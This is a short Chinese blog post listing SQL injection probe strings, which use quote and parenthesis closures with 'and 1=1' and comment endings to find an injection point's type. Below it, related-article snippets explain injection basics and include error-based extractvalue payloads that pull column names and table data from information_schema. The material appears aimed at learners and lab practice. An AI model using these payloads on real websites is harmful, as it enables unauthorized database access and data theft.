简单sql注入中如何通过简单语句判断注入类型&注入方法

原创 已于 2026-08-05 18:06:31 修改 · 52 阅读 · 1 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
GEO检测
于 2026-05-04 21:32:38 首次发布

判断个鸡毛，直接挨个试！！！

 and 1=1 --+
 and 1=1 -- -
 and 1=1 #
' and 1=1 --+
' and 1=1 -- -
' and 1=1 #
" and 1=1 --+
" and 1=1 -- -
" and 1=1 #
' and '1'='1
" and "1"="1
') and '1'='1
") and "1"="1
') and 1=1 --+
') and 1=1 -- -
') and 1=1 #
") and 1=1 --+
") and 1=1 -- -
") and 1=1 #

标签
#sql #数据库
sql注入基础-如何判断 Sql 注入点+实例说明_sql注入判断注入点类型(1)
2303_79055586的博客
05-13 1108
可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中，可能有一个或多个参数，有时是整数型，有时是字符型，不能一概而论。当输入 and ‘1’='2时，后台执行 Sql 语句：select * from where id = ‘x’ and ‘1’='2’语法正确，但逻辑判断错误，所以返回异常。当输入 and ‘1’='1时，后台执行 Sql 语句：select * from where id = ‘x’ and ‘1’='1’语法正确，逻辑判断正确，所以返回正确。
如何判断是字符型注入还是整形注入
欢迎光临
11-25 7546
1、数字型注入 当输入的参数为整形时，如果存在注入漏洞，可以认为是数字型注入。 测试步骤： （1） 加单引号，URL：www.text.com/text.php?id=3’ 对应的sql：select * from table where id=3’ 这时sql语句出错，程序无法正常从数据库中查询出数据，就会抛出异常； （2） 加and 1=1 ,URL：www.text.com/tex...
SQL注入类型判断全网最简单方法（原理解剖）
qq_59468567的博客
02-22 4035
在sql的语法中，有两个类型的变量比较特殊，分别是整型和字符型：1.整型。
SQL注入各类型 讲解及利用 (一)
lendq的Blog
05-07 1万+
简介: SQL注入漏洞产生的原因 SQL Injection 程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患 用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据或进行数据库操作 SQL语句 Structured Query Language 结构化的查询语言，是关系型数据库通讯的标准语言。 查询：SELECT st...
如何判断是字符型注入还是数字型注入
原味瓜子、的博客
09-28 1万+
前言 通常sql 注入漏洞会被分为2种类型 数值型 字符型 其实所有产生类型都是数据库本身表产生的，在我们创建的时候会发现其后面总有个数据类型限制，而不同的数据库有不同的数据类型，不管我们怎么分常用的数据类型总是以数值和字符来进行区分的。 如何区分 1）数字型 当输入的参数x为整型的时候，通常sql语句是这样的 select * from users where id =x 这种类型可以使用经典的and 1=1 and 1=2来判断 url地址中输入www.xxxx.com/ccc.php?i
sql注入——学习之路
weixin_45776848的博客
02-14 508
因为之前进行了sql注入的学习，但是对于注入点的查询和判断一直是一知半解，所以这次将sql注入点的查询判断方法和原理进行一下总结。 First： 我们要先判断是否有注入点。 通过在参数后面加入单引号。 ?id=1'，如果页面出现错误，说明存在注入点。 原理：无论字符型和数字型都会因为单引号个数不匹配而出现错误。 PS：页面正确，也可能是源码把单引号过滤了。 Second： 然后判断注入类型。 数字...
SQL注入原理及如何判断闭合符
大大大蜜蜂的博客
09-30 1万+
一、SQL注入原理： 造成SQL注入的原因： 在没有对用户的输入进行过滤、检测的情况下，就把用户输入数据，带入到数据库中执行SQL语句。 利用SQL注入： 由于系统没有对输入的数据进行过滤、检测，就带入到数据库中执行SQL语句，那么当用户输入一条恶意的数据，使其与原SQL语句拼接、重组得到一条恶意的SQL语句，当数据库执行这条恶意的SQL语句时，就会把数据库中的信息暴露出来，从而泄露信息。 访问网页具体流程图： 在上图中，用户访问实验楼主页进行了如下过程： 1、在 Web 浏览器中输入 www.shiya
【SQL注入-02】SQL注入点的简单判断
m0_64378913的博客
04-24 8498
目录实验环境准备工作SQL 注入点的判断1 背景2 判断方法2.2 分析过程3 引号闭合4 总结 实验环境 实验靶场——虚拟机（IP为172.16.1.1）：本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站，win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》，网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》 注入工具——真实机：本实验利用火狐浏览器来实现union
超全SQL注入实用语句
weixin_44866139的博客
04-28 1万+
目录判断是否存在注入判断列数Union联合注入爆数据库爆表爆字段爆数据sql盲注导入导出文件Post注入修改useragent:修改referer:修改cookiegroup_concat二次排序注入绕过 or 和 and 过滤绕过空格的过滤宽字节注入堆叠注入order by后的injectionmysqli_multi_query()函数 判断是否存在注入 在 http://127.0.0.1/...
SQL注入点判断及注入方式
HMX404的博客
09-20 1万+
SQL注入类型 一，判断注入点 当参数可控时，看参数是否对数据产生影响，若有影响则可能是注入点。 输入SQL看是否可以产生报错，通过报错信息得到数据库部分语句。 利用引号、双引号、圆括号进行报对。 二，注入方式 get注入 在get传参时写入参数，将SQl语句闭合，后面加写入自己的SQL语句。 ?id=1‘order by 3 #判断有几列利用排序报错，超出列数报错。 ?id=1' union select 111,222,333 #显示回显点。 ?id=1' union select 111,us
SQL注入常见类型及注入点的判断
qq_64395221的博客
05-15 2472
字符注入的时候我们需要逃逸单引号，但是php提供了魔术引号开关magic_quotes_gpc和addslashes()，iconv()函数作为防御，特点是自动给传入的参数如单引号，双引号，反斜杠，%00前面加一个反斜杠，进行转义，避免单引号进行逃逸。id=1这种形式的url，这个时候我们输入and 1=1与and 1=2,进行判定看是否会出现and 1=1回显正常，and 1=2回显不正常的情况。sql语句的变量并不是直接传入的变量，而是通过其它的方式保存到了数据库，形成二次注入。
常见SQL注入类型及原理
1stPeak's Blog
05-31 6468
SQL注入 Mysql基础 1、Mysql安装 这里我们直接使用phpstudy集成环境中的mysql 2、Mysql常用命令 （1）mysql本地连接 mysql -h localhost -uroot –proot 参数 说明 -h 表示数据库连接地址，连接本机可不填,直接mysql -uroot -p -u 表示要登录的用户 -p 表示使用密码登录 默认账/密：root/root 注：登录mysql时，-p后面不能有空格加密码，但-p空格，后面不加值是
SQL注入语句和方法总结
叮当大猫猫
09-29 6986
一、SQL语法基础 SQL语法基础和Oracle注入技巧 https://pan.baidu.com/s/11EOTJ8nHrHqimF8nJJTDvA 提取码：4zep 二、SQL手工注入语句 1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3.判断数据库系统 ;and (select count() from sysobjects)>0 mssql ;and (select count() from msysobjects)&gt
SQL注入基础 - 判断注入类型及闭合方式
白帽子续命指南
03-28 9241
判断是否有注入点 一般可能存在注入点的地方就是 url中传参 表单提交 url传参： 以sqli-labs的第一关为例，当我们输入id=1的时候，页面显示正常；当我们输入id=1‘的时候（或者输入1“、1）、） ...
【SQL注入-01】SQL语句基础及SQL注入漏洞原理及分类
m0_64378913的博客
04-23 6224
目录1 SQL注入概述1.1 SQL注入简介1.2 SQL注入原理（掌握）1.3 SQL注入漏洞的危害（掌握）2 SQL注入漏洞分类2.1 注入位置分类（掌握）2.2 注入数据类型分类（掌握）2.3 注入手法分类（掌握）3 SQL语句基础3.1 简介3.2 注释3.3 MySQL 元数据库 information_schema 内容简介3.4 MySQL 常用函数4 总结参考文献 1 SQL注入概述 1.1 SQL注入简介 定义：SQL注入就是指Web应用程序对用户输入数据的合法性没有判断，前端传
SQL注入攻击原理以及基本方法
热门推荐
Toby的博客
10-07 8万+
一、SQL注入的概述 定义：SQL注入即是指web应用程序对用户输入数据的合法性没有判断，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。                                     为了更直观的让大家了解到sql注入的原理，贴上一张sql注入攻击示意图
12.SQL漏洞-注入类型&请求方法注入
mingyqf的博客
03-20 4405
【参数类型】 1、数字类型 select * from user where id=1 2、字符类型 select * from user where name=‘yucedu’ 过滤’(单引号)和"(双引号) 3、搜索类型 select * from user where name like ‘%yucedu%’ 只要有yucedu都会被搜索出来 过滤%(百分号)和’(单引号) 4、JSON类型 ★post提交方式中的一种数据交互格式 JSON格式： json={“name”:“yucedu” “a
SQL 注入 思路总结&语句快速定位
最新发布
2301_81392150的博客
02-09 1122
id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名')))--+id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(字段名1，字段名2，字段名3) from 表名)))--+EXECUTE aaa#
sql注入基础-如何判断 Sql 注入点+实例说明_sql注入判断注入点类型
2401_84281748的博客
05-02 2248
假设，果这是字符型注入的话，我们输入以上语句之后应该出现如下情况：当输入1 and 1=1，1 and 1=2时，后台执行 Sql 语句：select * from where id = ‘x and 1=1’select * from where id = ‘x and 1=2’查询语句将 and 语句全部转换为了字符串，并没有进行 and 的逻辑判断，所以不会出现以上结果，故假设是不成立的。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

weoptions

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值